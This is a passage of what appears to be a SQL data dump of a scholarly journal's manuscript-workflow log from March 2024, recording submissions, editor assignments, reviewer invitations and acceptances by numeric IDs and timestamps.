article',14545,'Publisher',48),(133121,'2024-03-14 15:10:37','Manuscript Updated',14545,'Publisher',48),(133122,'2024-03-14 16:56:46','Manuscript Submitted by Publisher',14669,'',1045),(133123,'2024-03-14 17:33:58','Publisher has been Assigned Editor',14658,'Publisher',48),(133124,'2024-03-14 17:39:38','Editor has Accepted to review Manuscript',14658,'Editor',195),(133125,'2024-03-14 17:39:54','Editor has been Editor Decision Accepted article',14658,'Editor',195),(133126,'2024-03-14 17:40:39','Publisher has Invited Reviewer',14658,'Publisher',48),(133127,'2024-03-14 17:40:44','Publisher has Invited Reviewer',14658,'Publisher',48),(133128,'2024-03-14 17:40:49','Publisher has Invited Reviewer',14658,'Publisher',48),(133129,'2024-03-14 17:40:54','Publisher has Invited Reviewer',14658,'Publisher',48),(133130,'2024-03-14 17:40:59','Publisher has Invited Reviewer',14658,'Publisher',48),(133131,'2024-03-14 17:41:04','Publisher has Invited Reviewer',14658,'Publisher',48),(133132,'2024-03-14 17:41:09','Publisher has Invited Reviewer',14658,'Publisher',48),(133133,'2024-03-14 17:41:14','Publisher has Invited Reviewer',14658,'Publisher',48),(133134,'2024-03-14 17:41:19','Publisher has Invited Reviewer',14658,'Publisher',48),(133135,'2024-03-14 17:41:25','Publisher has Invited Reviewer',14658,'Publisher',48),(133136,'2024-03-14 17:41:30','Publisher has Invited Reviewer',14658,'Publisher',48),(133137,'2024-03-15 22:43:55','Manuscript Submitted by Author using Submission form',14670,'Author',14685),(133138,'2024-03-17 21:13:24','Manuscript Submitted by Author using Submission form',14671,'Author',14686),(133139,'2024-03-17 22:09:25','Manuscript Submitted by Author using Submission form',14672,'Author',14687),(133140,'2024-03-18 10:00:37','Publisher has been Assigned Editor',14670,'Publisher',48),(133141,'2024-03-18 10:58:01','Reviewer has submitted comments',14658,'Reviewer',5467),(133142,'2024-03-18 11:59:33','Publisher has been Assigned Editor',14671,'Publisher',48),(133143,'2024-03-18 12:01:40','Publisher has Invited Reviewer',14671,'Publisher',48),(133144,'2024-03-18 12:01:45','Publisher has Invited Reviewer',14671,'Publisher',48),(133145,'2024-03-18 12:01:50','Publisher has Invited Reviewer',14671,'Publisher',48),(133146,'2024-03-18 12:01:55','Publisher has Invited Reviewer',14671,'Publisher',48),(133147,'2024-03-18 12:02:00','Publisher has Invited Reviewer',14671,'Publisher',48),(133148,'2024-03-18 12:02:05','Publisher has Invited Reviewer',14671,'Publisher',48),(133149,'2024-03-18 12:02:11','Publisher has Invited Reviewer',14671,'Publisher',48),(133150,'2024-03-18 12:02:16','Publisher has Invited Reviewer',14671,'Publisher',48),(133151,'2024-03-18 12:02:21','Publisher has Invited Reviewer',14671,'Publisher',48),(133152,'2024-03-18 12:10:18','Editor has Accepted to review Manuscript',14671,'Editor',195),(133153,'2024-03-18 12:10:22','Editor has Accepted to review Manuscript',14670,'Editor',195),(133154,'2024-03-18 12:11:06','Publisher has Invited Reviewer',14670,'Publisher',48),(133155,'2024-03-18 12:11:11','Publisher has Invited Reviewer',14670,'Publisher',48),(133156,'2024-03-18 12:11:16','Publisher has Invited Reviewer',14670,'Publisher',48),(133157,'2024-03-18 12:11:21','Publisher has Invited Reviewer',14670,'Publisher',48),(133158,'2024-03-18 12:11:27','Publisher has Invited Reviewer',14670,'Publisher',48),(133159,'2024-03-18 12:11:32','Publisher has Invited Reviewer',14670,'Publisher',48),(133160,'2024-03-18 12:11:37','Publisher has Invited Reviewer',14670,'Publisher',48),(133161,'2024-03-18 12:11:42','Publisher has Invited Reviewer',14670,'Publisher',48),(133162,'2024-03-18 12:11:47','Publisher has Invited Reviewer',14670,'Publisher',48),(133163,'2024-03-18 12:11:52','Publisher has Invited Reviewer',14670,'Publisher',48),(133164,'2024-03-18 14:04:06','Editor has Accepted to review Manuscript',14483,'Editor',1783),(133165,'2024-03-18 14:04:27','Editor has been Editor Decision Accepted article',14483,'Editor',1783),(133166,'2024-03-18 14:08:34','Editor has been Editor Decision Accepted article',14433,'Editor',1315),(133167,'2024-03-18 14:08:54','Editor has been Editor Decision Accepted article',14579,'Editor',1315),(133168,'2024-03-18 14:11:44','Editor has Accepted to review Manuscript',14389,'Editor',1315),(133169,'2024-03-18 14:12:02','Editor has been Editor Decision Accepted article',14389,'Editor',1315),(133170,'2024-03-18 14:14:31','Publisher has been Accepted Articles  article',14389,'Publisher',972),(133171,'2024-03-18 14:14:33','Publisher has been Accepted Articles  article',14389,'Publisher',972),(133172,'2024-03-18 14:15:53','Editor has Accepted to review Manuscript',14391,'Editor',1324),(133173,'2024-03-18 14:16:14','Editor has been Editor Decision Accepted article',14391,'Editor',1324),(133174,'2024-03-18 14:17:13','Editor has been Editor Decision Accepted article',14427,'Editor',1324),(133175,'2024-03-18 14:18:12','Publisher has been Accepted Articles  article',14427,'Publisher',972),(133176,'2024-03-18 14:19:48','Publisher has been Accepted Articles  article',14391,'Publisher',972),(133177,'2024-03-18 14:23:00','Editor has Accepted to review Manuscript',14434,'Editor',1784),(133178,'2024-03-18 14:23:20','Editor has been Editor Decision Accepted article',14434,'Editor',1784),(133179,'2024-03-18 14:23:39','Editor has Accepted to review Manuscript',14575,'Editor',1784),(133180,'2024-03-18 14:24:15','Editor has been Editor Decision Accepted article',14575,'Editor',1784),(133181,'2024-03-18 14:26:00','Publisher has been Accepted Articles  article',14434,'Publisher',972),(133182,'2024-03-18 14:26:59','Editor has Accepted to review Manuscript',14571,'Editor',1367),(133183,'2024-03-18 14:27:18','Editor has been Editor Decision Accepted article',14571,'Editor',1367),(133184,'2024-03-18 14:28:05','Manuscript Submitted by Publisher',14673,'Publisher',1009),(133185,'2024-03-18 14:28:26','Publisher has been Accepted Articles  article',14571,'Publisher',972),(133186,'2024-03-18 14:30:04','Editor has Accepted to review Manuscript',14572,'Editor',1787),(133187,'2024-03-18 14:30:25','Editor has been Editor Decision Accepted article',14572,'Editor',1787),(133188,'2024-03-18 14:31:17','Publisher has been Accepted Articles  article',14572,'Publisher',972),(133189,'2024-03-18 14:32:02','Editor has Accepted to review Manuscript',14574,'Editor',1786),(133190,'2024-03-18 14:32:14','Manuscript Submitted by Publisher',14674,'Publisher',1009),(133191,'2024-03-18 14:32:33','Editor has been Editor Decision Accepted article',14574,'Editor',1786),(133192,'2024-03-18 14:32:44','Editor has Accepted to review Manuscript',14577,'Editor',1786),(133193,'2024-03-18 14:33:23','Editor has been Editor Decision Accepted article',14577,'Editor',1786),(133194,'2024-03-18 14:34:23','Manuscript Submitted by Publisher',14675,'Publisher',1009),(133195,'2024-03-18 14:34:30','Publisher has been Accepted Articles  article',14574,'Publisher',972),(133196,'2024-03-18 14:35:17','Publisher has been Accepted Articles  article',14575,'Publisher',972),(133197,'2024-03-18 14:36:15','Manuscript Submitted by Publisher',14676,'Publisher',1009),(133198,'2024-03-18 14:36:28','Editor has Accepted to review Manuscript',14576,'Editor',1785),(133199,'2024-03-18 14:36:58','Editor has been Editor Decision Accepted article',14576,'Editor',1785),(133200,'2024-03-18 14:38:22','Manuscript Submitted by Publisher',14677,'Publisher',1009),(133201,'2024-03-18 14:39:07','Publisher has been Accepted Articles  article',14576,'Publisher',972),(133202,'2024-03-18 14:40:02','Publisher has been Accepted Articles  article',14577,'Publisher',972),(133203,'2024-03-18 14:40:04','Manuscript Submitted by Publisher',14678,'Publisher',1009),(133204,'2024-03-18 14:40:57','Publisher has been Accepted Articles  article',14579,'Publisher',972),(133205,'2024-03-18 14:42:14','Manuscript Submitted by Publisher',14679,'Publisher',1009),(133206,'2024-03-18 14:43:58','Manuscript Submitted by Publisher',14680,'Publisher',1009),(133207,'2024-03-18 14:45:30','Manuscript Submitted by Publisher',14681,'Publisher',1009),(133208,'2024-03-18 14:47:38','Manuscript Submitted by Publisher',14682,'Publisher',1009),(133209,'2024-03-18 15:20:25','Author sent Email',14522,'Author',14563),(133210,'2024-03-19 10:17:00','Publisher has been Assigned Editor',14682,'Publisher',1009),(133211,'2024-03-19 10:26:13','Publisher has been Assigned Editor',14681,'Publisher',1009),(133212,'2024-03-19 10:26:31','Publisher has been Assigned Editor',14680,'Publisher',1009),(133213,'2024-03-19 10:26:45','Publisher has been Assigned Editor',14679,'Publisher',1009),(133214,'2024-03-19 10:26:59','Publisher has been Assigned Editor',14678,'Publisher',1009),(133215,'2024-03-19 10:27:14','Publisher has been Assigned Editor',14677,'Publisher',1009),(133216,'2024-03-19 10:27:32','Publisher has been Assigned Editor',14676,'Publisher',1009),(133217,'2024-03-19 10:27:49','Publisher has been Assigned Editor',14675,'Publisher',1009),(133218,'2024-03-19 10:28:05','Publisher has been Assigned Editor',14674,'Publisher',1009),(133219,'2024-03-19 10:28:20','Publisher has been Assigned Editor',14673,'Publisher',1009),(133220,'2024-03-19 10:54:12','Publisher has been Accepted Articles  article',13930,'',1308),(133221,'2024-03-19 10:56:17','Publisher has been Accepted Articles  article',13931,'',1308),(133222,'2024-03-19 10:58:17','Publisher has been Accepted Articles  article',13955,'',1308),(133223,'2024-03-19 11:00:30','Publisher has been Accepted Articles  article',13963,'',1308),(133224,'2024-03-19 11:02:04','Publisher has been Accepted Articles  article',13964,'',1308),(133225,'2024-03-19 11:04:50','Publisher has been Accepted Articles  article',13965,'',1308),(133226,'2024-03-19 11:06:25','Publisher has been Accepted Articles  article',13966,'',1308),(133227,'2024-03-19 11:08:30','Publisher has been Accepted Articles  article',13968,'',1308),(133228,'2024-03-19 11:10:49','Publisher has been Accepted Articles  article',13969,'',1308),(133229,'2024-03-19 11:23:15','Publisher has been Accepted Articles  article',13977,'',1434),(133230,'2024-03-19 11:24:38','Publisher has been Accepted Articles  article',13979,'',1434),(133231,'2024-03-19 11:28:20','Publisher has been Accepted Articles  article',13980,'',1434),(133232,'2024-03-19 11:30:53','Publisher has been Accepted Articles  article',13988,'',1441),(133233,'2024-03-19 11:34:27','Publisher has been Accepted Articles  article',14004,'',1490),(133234,'2024-03-19 11:36:24','Publisher has been Accepted Articles  article',13952,'',1280),(133235,'2024-03-19 11:39:53','Publisher has been Accepted Articles  article',13962,'',1279),(133236,'2024-03-19 14:09:09','Editor has Accepted to review Manuscript',14570,'Editor',633),(133237,'2024-03-19 20:34:22','Manuscript Submitted by Author using Submission form',14683,'Author',14698),(133238,'2024-03-20 09:31:34','Editor has Invited Reviewer',14570,'Editor',633),(133239,'2024-03-20 09:31:43','Editor has Invited Reviewer',14570,'Editor',633),(133240,'2024-03-20 09:31:48','Editor has Invited Reviewer',14570,'Editor',633),(133241,'2024-03-20 09:52:05','Reviewer has submitted comments',14570,'Reviewer',4494),(133242,'2024-03-20 10:44:13','Publisher has been Assigned Editor',14672,'Publisher',376),(133243,'2024-03-20 11:12:06','Publisher has been Accepted Articles  article',14635,'Publisher',994),(133244,'2024-03-20 11:13:22','Publisher has been Accepted Articles  article',14636,'Publisher',994),(133245,'2024-03-20 11:14:25','Publisher has been Accepted Articles  article',14637,'Publisher',994),(133246,'2024-03-20 11:15:40','Publisher has been Accepted Articles  article',14638,'Publisher',994),(133247,'2024-03-20 11:16:52','Publisher has been Accepted Articles  article',14639,'Publisher',994),(133248,'2024-03-20 11:17:53','Publisher has been Accepted Articles  article',14640,'Publisher',994),(133249,'2024-03-20 11:18:59','Publisher has been Accepted Articles  article',14641,'Publisher',994),(133250,'2024-03-20 11:22:15','Publisher has been Accepted Articles  article',14642,'Publisher',994),(133251,'2024-03-20 11:23:50','Publisher has been Accepted Articles  article',14643,'Publisher',994),(133252,'2024-03-20 11:27:06','Publisher has been Accepted Articles  article',14644,'Publisher',994),(133253,'2024-03-20 13:15:55','Publisher has been Assigned Editor',14683,'Publisher',48),(133254,'2024-03-20 13:17:10','Publisher has Invited Reviewer',14683,'Publisher',48),(133255,'2024-03-20 13:17:15','Publisher has Invited Reviewer',14683,'Publisher',48),(133256,'2024-03-20 13:17:21','Publisher has Invited Reviewer',14683,'Publisher',48),(133257,'2024-03-20 13:17:26','Publisher has Invited Reviewer',14683,'Publisher',48),(133258,'2024-03-20 13:17:31','Publisher has Invited Reviewer',14683,'Publisher',48),(133259,'2024-03-20 13:17:36','Publisher has Invited Reviewer',14683,'Publisher',48),(133260,'2024-03-20 14:14:09','Reviewer has submitted comments',14670,'Reviewer',21493),(133261,'2024-03-20 15:43:38','Reviewer has submitted comments',14671,'Reviewer',11578),(133262,'2024-03-20 21:03:36','Manuscript Submitted by Author using Submission form',14684,'Author',14699),(133263,'2024-03-21 10:02:04','Manuscript Updated',14658,'Publisher',48),(133264,'2024-03-21 10:02:30','Publisher has been Accepted Articles  article',14658,'Publisher',48),(133265,'2024-03-21 10:02:42','Manuscript Updated',14658,'Publisher',48),(133266,'2024-03-21 10:19:26','Publisher has been Assigned Editor',14684,'Publisher',48),(133267,'2024-03-21 10:20:27','Publisher has Invited Reviewer',14684,'Publisher',48),(133268,'2024-03-21 10:20:33','Publisher has Invited Reviewer',14684,'Publisher',48),(133269,'2024-03-21 10:20:37','Publisher has Invited Reviewer',14684,'Publisher',48),(133270,'2024-03-21 10:20:42','Publisher has Invited Reviewer',14684,'Publisher',48),(133271,'2024-03-21 10:20:47','Publisher has Invited Reviewer',14684,'Publisher',48),(133272,'2024-03-21 10:20:52','Publisher has Invited Reviewer',14684,'Publisher',48),(133273,'2024-03-21 10:20:57','Publisher has Invited Reviewer',14684,'Publisher',48),(133274,'2024-03-21 10:21:01','Publisher has Invited Reviewer',14684,'Publisher',48),(133275,'2024-03-21 10:21:06','Publisher has Invited Reviewer',14684,'Publisher',48),(133276,'2024-03-21 10:21:11','Publisher has Invited Reviewer',14684,'Publisher',48),(133277,'2024-03-21 10:21:15','Publisher has Invited Reviewer',14684,'Publisher',48),(133278,'2024-03-21 10:22:14','Editor has Accepted to review Manuscript',14684,'Editor',191),(133279,'2024-03-21 10:22:55','Editor has been Editor Decision Accepted article',14684,'Editor',191),(133280,'2024-03-21 11:26:00','Manuscript Submitted by Publisher',14685,'Publisher',48),(133281,'2024-03-21 11:27:28','Manuscript Submitted by Publisher',14686,'Publisher',48),(133282,'2024-03-21 11:28:51','Manuscript Submitted by Publisher',14687,'Publisher',48),(133283,'2024-03-21 11:30:15','Manuscript Submitted by Publisher',14688,'Publisher',48),(133284,'2024-03-21 11:31:42','Manuscript Submitted by Publisher',14689,'Publisher',48),(133285,'2024-03-21 11:33:07','Manuscript Submitted by Publisher',14690,'Publisher',48),(133286,'2024-03-21 11:34:22','Manuscript Submitted by Publisher',14691,'Publisher',48),(133287,'2024-03-21 11:35:58','Manuscript Submitted by Publisher',14692,'Publisher',48),(133288,'2024-03-21 11:37:54','Manuscript Submitted by Publisher',14693,'Publisher',48),(133289,'2024-03-21 11:59:32','Publisher has been Accepted Articles  article',14454,'Publisher',84),(133290,'2024-03-21 12:00:18','Publisher has been Accepted Articles  article',14457,'Publisher',84),(133291,'2024-03-21 12:02:14','Publisher has been Accepted Articles  article',14627,'Publisher',84),(133292,'2024-03-21 12:04:15','Publisher has been Accepted Articles  article',14628,'Publisher',84),(133293,'2024-03-21 12:05:18','Publisher has been Accepted Articles  article',14629,'Publisher',84),(133294,'2024-03-21 12:06:18','Publisher has been Accepted Articles  article',14630,'Publisher',84),(133295,'2024-03-21 12:07:04','Publisher has been Accepted Articles  article',14631,'Publisher',84),(133296,'2024-03-21 12:07:55','Publisher has been Accepted Articles  article',14632,'Publisher',84),(133297,'2024-03-21 12:08:31','Publisher has been Accepted Articles  article',14633,'Publisher',84),(133298,'2024-03-21 12:09:24','Publisher has been Accepted Articles  article',14634,'Publisher',84),(133299,'2024-03-21 14:50:09','Editor has been Editor Decision Accepted article',14570,'Editor',633),(133300,'2024-03-22 09:44:31','Manuscript Submitted by Publisher',14694,'',1045),(133301,'2024-03-22 11:21:35','Publisher has been Assigned Editor',14693,'Publisher',48),(133302,'2024-03-22 11:22:01','Publisher has been Assigned Editor',14692,'Publisher',48),(133303,'2024-03-22 11:22:16','Publisher has been Assigned Editor',14691,'Publisher',48),(133304,'2024-03-22 11:22:31','Publisher has been Assigned Editor',14690,'Publisher',48),(133305,'2024-03-22 11:22:48','Publisher has been Assigned Editor',14689,'Publisher',48),(133306,'2024-03-22 11:23:03','Publisher has been Assigned Editor',14688,'Publisher',48),(133307,'2024-03-22 11:23:19','Publisher has been Assigned Editor',14687,'Publisher',48),(133308,'2024-03-22 11:23:34','Publisher has been Assigned Editor',14686,'Publisher',48),(133309,'2024-03-22 11:23:48','Publisher has been Assigned Editor',14685,'Publisher',48),(133310,'2024-03-22 12:01:46','Editor has Accepted to review Manuscript',14615,'Editor',1705),(133311,'2024-03-22 12:01:52','Editor has Accepted to review Manuscript',14622,'Editor',1705),(133312,'2024-03-22 12:02:42','Editor has Accepted to review Manuscript',14617,'Editor',1012),(133313,'2024-03-22 12:02:48','Editor has Accepted to review Manuscript',14625,'Editor',1012),(133314,'2024-03-22 12:02:54','Editor has Accepted to review Manuscript',14672,'Editor',1012),(133315,'2024-03-22 12:03:48','Editor has Accepted to review Manuscript',14619,'Editor',1011),(133316,'2024-03-22 12:03:53','Editor has Accepted to review Manuscript',14626,'Editor',1011),(133317,'2024-03-22 12:04:29','Editor has Accepted to review Manuscript',14620,'Editor',1781),(133318,'2024-03-22 12:05:07','Editor has Accepted to review Manuscript',14623,'Editor',1452),(133319,'2024-03-22 12:16:26','Editor has been Editor Decision Accepted article',14615,'Editor',1705),(133320,'2024-03-22 12:16:49','Editor has been Editor Decision Accepted article',14622,'Editor',1705),(133321,'2024-03-22 12:17:56','Editor has been Editor Decision Accepted article',14617,'Editor',1012),(133322,'2024-03-22 12:18:27','Editor has been Editor Decision Accepted article',14625,'Editor',1012),(133323,'2024-03-22 12:18:51','Editor has been Editor Decision Accepted article',14672,'Editor',1012),(133324,'2024-03-22 12:20:05','Editor has been Editor Decision Accepted article',14619,'Editor',1011),(133325,'2024-03-22 12:20:33','Editor has been Editor Decision Accepted article',14626,'Editor',1011),(133326,'2024-03-22 12:21:07','Editor has been Editor Decision Accepted article',14619,'Editor',1011),(133327,'2024-03-22 12:21:29','Editor has been Editor Decision Accepted article',14619,'Editor',1011),(133328,'2024-03-22 12:22:41','Editor has been Editor Decision Accepted article',14620,'Editor',1781),(133329,'2024-03-22 12:23:46','Editor has been Editor Decision Accepted article',14623,'Editor',1452),(133330,'2024-03-22 12:24:42','Editor has Accepted to review Manuscript',14624,'Editor',1245),(133331,'2024-03-22 12:24:57','Editor has been Editor Decision Accepted article',14624,'Editor',1245),(133332,'2024-03-22 12:26:49','Publisher has been Accepted Articles  article',14615,'Publisher',376),(133333,'2024-03-22 13:23:17','Publisher has been Accepted Articles  article',14617,'Publisher',376),(133334,'2024-03-22 13:24:11','Publisher has been Accepted Articles  article',14619,'Publisher',376),(133335,'2024-03-22 13:25:05','Publisher has been Accepted Articles  article',14620,'Publisher',376),(133336,'2024-03-22 13:25:44','Publisher has been Accepted Articles  article',14622,'Publisher',376),(133337,'2024-03-22 13:31:08','Publisher has been Accepted Articles  article',14626,'Publisher',376),(133338,'2024-03-22 13:58:18','Publisher has been Accepted Articles  article',14624,'Publisher',376),(133339,'2024-03-22 13:59:36','Publisher has been Accepted Articles  article',14623,'Publisher',376),(133340,'2024-03-22 14:01:27','Publisher has been Accepted Articles  article',14625,'Publisher',376),(133341,'2024-03-22 14:39:27','Publisher has been Assigned Editor',14694,'',1045),(133342,'2024-03-22 15:24:17','Editor has been Editor Decision Accepted article',14672,'Editor',1012),(133343,'2024-03-22 15:25:34','Editor has been Editor Decision Accepted article',14672,'Editor',1012),(133344,'2024-03-22 15:28:38','Publisher has been Withdrawn  article',14671,'Publisher',48),(133345,'2024-03-23 09:26:56','Manuscript Submitted by Publisher',14695,'Publisher',645),(133346,'2024-03-23 10:33:21','Manuscript Updated',14693,'Publisher',48),(133347,'2024-03-23 10:33:59','Publisher has been Accepted Articles  article',14693,'Publisher',48),(133348,'2024-03-23 10:34:10','Manuscript Updated',14693,'Publisher',48),(133349,'2024-03-23 10:34:35','Publisher has been Accepted Articles  article',14692,'Publisher',48),(133350,'2024-03-23 10:34:47','Manuscript Updated',14691,'Publisher',48),(133351,'2024-03-23 10:34:59','Publisher has been Accepted Articles  article',14691,'Publisher',48),(133352,'2024-03-23 10:35:10','Manuscript Updated',14691,'Publisher',48),(133353,'2024-03-23 10:35:28','Publisher has been Accepted Articles  article',14690,'Publisher',48),(133354,'2024-03-23 10:35:47','Manuscript Updated',14689,'Publisher',48),(133355,'2024-03-23 10:35:59','Publisher has been Accepted Articles  article',14689,'Publisher',48),(133356,'2024-03-23 10:36:12','Manuscript Updated',14689,'Publisher',48),(133357,'2024-03-23 10:36:26','Manuscript Updated',14688,'Publisher',48),(133358,'2024-03-23 10:36:37','Publisher has been Accepted Articles  article',14688,'Publisher',48),(133359,'2024-03-23 10:36:45','Manuscript Updated',14688,'Publisher',48),(133360,'2024-03-23 10:37:04','Publisher has been Accepted Articles  article',14687,'Publisher',48),(133361,'2024-03-23 10:37:18','Manuscript Updated',14686,'Publisher',48),(133362,'2024-03-23 10:37:31','Publisher has been Accepted Articles  article',14686,'Publisher',48),(133363,'2024-03-23 10:37:42','Manuscript Updated',14686,'Publisher',48),(133364,'2024-03-23 10:38:02','Publisher has been Accepted Articles  article',14685,'Publisher',48),(133365,'2024-03-23 10:38:30','Manuscript Updated',14584,'Publisher',48),(133366,'2024-03-23 10:38:45','Publisher has been Accepted Articles  article',14584,'Publisher',48),(133367,'2024-03-23 10:38:55','Manuscript Updated',14584,'Publisher',48),(133368,'2024-03-25 09:12:47','Publisher has been Assigned Editor',14695,'Publisher',645),(133369,'2024-03-25 10:00:58','Reviewer has submitted comments',14684,'Reviewer',11714),(133370,'2024-03-25 10:03:14','Editor has been Editor Decision Accepted article',14684,'Editor',191),(133371,'2024-03-25 10:08:38','Editor has been Editor Decision Accepted article',14684,'Editor',191),(133372,'2024-03-25 13:11:29','Manuscript Updated',14585,'Publisher',274),(133373,'2024-03-25 13:12:10','Manuscript Updated',14586,'Publisher',274),(133374,'2024-03-25 13:12:36','Manuscript Updated',14587,'Publisher',274),(133375,'2024-03-25 13:13:51','Manuscript Updated',14594,'Publisher',274),(133376,'2024-03-25 13:14:18','Manuscript Updated',14593,'Publisher',274),(133377,'2024-03-25 13:15:31','Manuscript Updated',14593,'Publisher',274),(133378,'2024-03-25 13:15:50','Manuscript Updated',14592,'Publisher',274),(133379,'2024-03-25 13:16:38','Editor has Accepted to review Manuscript',14654,'Editor',1732),(133380,'2024-03-25 13:16:51','Editor has Accepted to review Manuscript',14594,'Editor',1235),(133381,'2024-03-25 13:16:56','Editor has Accepted to review Manuscript',14593,'Editor',1235),(133382,'2024-03-25 13:17:05','Editor has been Editor Decision Accepted article',14654,'Editor',1732),(133383,'2024-03-25 13:17:15','Editor has been Editor Decision Accepted article',14594,'Editor',1235),(133384,'2024-03-25 13:17:27','Editor has been Editor Decision Accepted article',14593,'Editor',1235),(133385,'2024-03-25 13:17:47','Editor has Accepted to review Manuscript',14592,'Editor',1235),(133386,'2024-03-25 13:17:56','Editor has been Editor Decision Accepted article',14592,'Editor',1235),(133387,'2024-03-25 13:18:04','Editor has Accepted to review Manuscript',14591,'Editor',1235),(133388,'2024-03-25 13:18:15','Editor has been Editor Decision Accepted article',14591,'Editor',1235),(133389,'2024-03-25 13:18:42','Editor has been Editor Decision Accepted article',14591,'Editor',1235),(133390,'2024-03-25 13:18:51','Editor has Accepted to review Manuscript',14590,'Editor',1235),(133391,'2024-03-25 13:18:59','Publisher has been Assigned Editor',14659,'Publisher',972),(133392,'2024-03-25 13:19:00','Editor has been Editor Decision Accepted article',14590,'Editor',1235),(133393,'2024-03-25 13:19:08','Editor has Accepted to review Manuscript',14589,'Editor',1235),(133394,'2024-03-25 13:19:19','Publisher has been Assigned Editor',14660,'Publisher',972),(133395,'2024-03-25 13:19:21','Editor has been Editor Decision Accepted article',14589,'Editor',1235),(133396,'2024-03-25 13:19:29','Editor has Accepted to review Manuscript',14588,'Editor',1235),(133397,'2024-03-25 13:19:36','Editor has Accepted to review Manuscript',14587,'Editor',1235),(133398,'2024-03-25 13:19:41','Publisher has been Assigned Editor',14661,'Publisher',972),(133399,'2024-03-25 13:19:49','Editor has been Editor Decision Accepted article',14587,'Editor',1235),(133400,'2024-03-25 13:19:49','Editor has Accepted to review Manuscript',14653,'Editor',1456),(133401,'2024-03-25 13:20:02','Editor has been Editor Decision Accepted article',14588,'Editor',1235),(133402,'2024-03-25 13:20:03','Publisher has been Assigned Editor',14662,'Publisher',972),(133403,'2024-03-25 13:20:18','Editor has Accepted to review Manuscript',14586,'Editor',1235),(133404,'2024-03-25 13:20:20','Publisher has been Assigned Editor',14663,'Publisher',972),(133405,'2024-03-25 13:20:23','Editor has been Editor Decision Accepted article',14653,'Editor',1456),(133406,'2024-03-25 13:20:30','Editor has been Editor Decision Accepted article',14586,'Editor',1235),(133407,'2024-03-25 13:20:37','Publisher has been Assigned Editor',14664,'Publisher',972),(133408,'2024-03-25 13:20:37','Editor has Accepted to review Manuscript',14585,'Editor',1235),(133409,'2024-03-25 13:20:48','Editor has been Editor Decision Accepted article',14585,'Editor',1235),(133410,'2024-03-25 13:20:56','Publisher has been Assigned Editor',14665,'Publisher',972),(133411,'2024-03-25 13:21:09','Editor has Accepted to review Manuscript',14652,'Editor',1456),(133412,'2024-03-25 13:21:12','Publisher has been Assigned Editor',14666,'Publisher',972),(133413,'2024-03-25 13:21:21','Editor has been Editor Decision Accepted article',14652,'Editor',1456),(133414,'2024-03-25 13:21:29','Publisher has been Assigned Editor',14667,'Publisher',972),(133415,'2024-03-25 13:21:50','Publisher has been Assigned Editor',14668,'Publisher',972),(133416,'2024-03-25 13:21:57','Editor has Accepted to review Manuscript',14651,'Editor',1456),(133417,'2024-03-25 13:22:11','Editor has been Editor Decision Accepted article',14651,'Editor',1456),(133418,'2024-03-25 13:23:27','Editor has Accepted to review Manuscript',14650,'Editor',1732),(133419,'2024-03-25 13:23:41','Editor has been Editor Decision Accepted article',14650,'Editor',1732),(133420,'2024-03-25 13:24:36','Editor has Accepted to review Manuscript',14649,'Editor',1456),(133421,'2024-03-25 13:24:50','Editor has been Editor Decision Accepted article',14649,'Editor',1456),(133422,'2024-03-25 13:29:44','Editor has Accepted to review Manuscript',14645,'Editor',1456),(133423,'2024-03-25 13:30:04','Editor has been Editor Decision Accepted article',14645,'Editor',1456),(133424,'2024-03-25 13:30:35','Editor has Accepted to review Manuscript',14646,'Editor',1456),(133425,'2024-03-25 13:30:51','Editor has been Editor Decision Accepted article',14646,'Editor',1456),(133426,'2024-03-25 13:33:14','Editor has Accepted to review Manuscript',14648,'Editor',1370),(133427,'2024-03-25 13:33:25','Editor has been Editor Decision Accepted article',14648,'Editor',1370),(133428,'2024-03-25 13:34:00','Editor has Accepted to review Manuscript',14647,'Editor',1370),(133429,'2024-03-25 13:34:19','Editor has been Editor Decision Accepted article',14647,'Editor',1370),(133430,'2024-03-25 14:17:01','Publisher has been Accepted Articles  article',14594,'Publisher',274),(133431,'2024-03-25 14:17:16','Publisher has been Accepted Articles  article',14593,'Publisher',274),(133432,'2024-03-25 14:17:42','Publisher has been Accepted Articles  article',14592,'Publisher',274),(133433,'2024-03-25 14:17:59','Publisher has been Accepted Articles  article',14591,'Publisher',274),(133434,'2024-03-25 14:23:33','Publisher has been Accepted Articles  article',14590,'Publisher',274),(133435,'2024-03-25 14:23:58','Publisher has been Accepted Articles  article',14589,'Publisher',274),(133436,'2024-03-25 14:25:25','Publisher has been Accepted Articles  article',14588,'Publisher',274),(133437,'2024-03-25 14:25:27','Publisher has been Accepted Articles  article',14588,'Publisher',274),(133438,'2024-03-25 14:25:29','Publisher has been Accepted Articles  article',14588,'Publisher',274),(133439,'2024-03-25 14:25:31','Publisher has been Accepted Articles  article',14588,'Publisher',274),(133440,'2024-03-25 14:25:56','Publisher has been Accepted Articles  article',14587,'Publisher',274),(133441,'2024-03-25 14:33:47','Publisher has been Accepted Articles  article',14585,'Publisher',274),(133442,'2024-03-25 14:37:10','Manuscript Updated',14586,'Publisher',274),(133443,'2024-03-25 14:38:36','Publisher has been Accepted Articles  article',14586,'Publisher',274),(133444,'2024-03-26 10:22:07','Manuscript Submitted by Publisher',14696,'Publisher',645),(133445,'2024-03-26 10:28:44','Manuscript Submitted by Publisher',14697,'Publisher',645),(133446,'2024-03-26 10:37:15','Manuscript Submitted by Publisher',14698,'Publisher',645),(133447,'2024-03-26 10:42:49','Manuscript Submitted by Publisher',14699,'Publisher',645),(133448,'2024-03-26 10:47:51','Manuscript Submitted by Publisher',14700,'Publisher',645),(133449,'2024-03-26 10:51:37','Manuscript Submitted by Publisher',14701,'Publisher',645),(133450,'2024-03-26 10:54:10','Manuscript Submitted by Publisher',14702,'Publisher',645),(133451,'2024-03-26 10:55:45','Manuscript Submitted by Publisher',14703,'Publisher',645),(133452,'2024-03-26 10:57:16','Manuscript Submitted by Publisher',14704,'Publisher',645),(133453,'2024-03-26 10:58:43','Manuscript Submitted by Publisher',14705,'Publisher',645),(133454,'2024-03-26 11:01:36','Editor has Accepted to review Manuscript',14602,'Editor',1779),(133455,'2024-03-26 11:02:26','Editor has been Editor Decision Accepted article',14602,'Editor',1779),(133456,'2024-03-26 11:02:52','Editor has Accepted to review Manuscript',14604,'Editor',1779),(133457,'2024-03-26 11:03:14','Editor has been Editor Decision Accepted article',14604,'Editor',1779),(133458,'2024-03-26 11:03:51','Editor has Accepted to review Manuscript',14612,'Editor',1779),(133459,'2024-03-26 11:04:15','Editor has been Editor Decision Accepted article',14612,'Editor',1779),(133460,'2024-03-26 11:05:35','Editor has Accepted to review Manuscript',14603,'Editor',1797),(133461,'2024-03-26 11:05:51','Editor has been Editor Decision Accepted article',14603,'Editor',1797),(133462,'2024-03-26 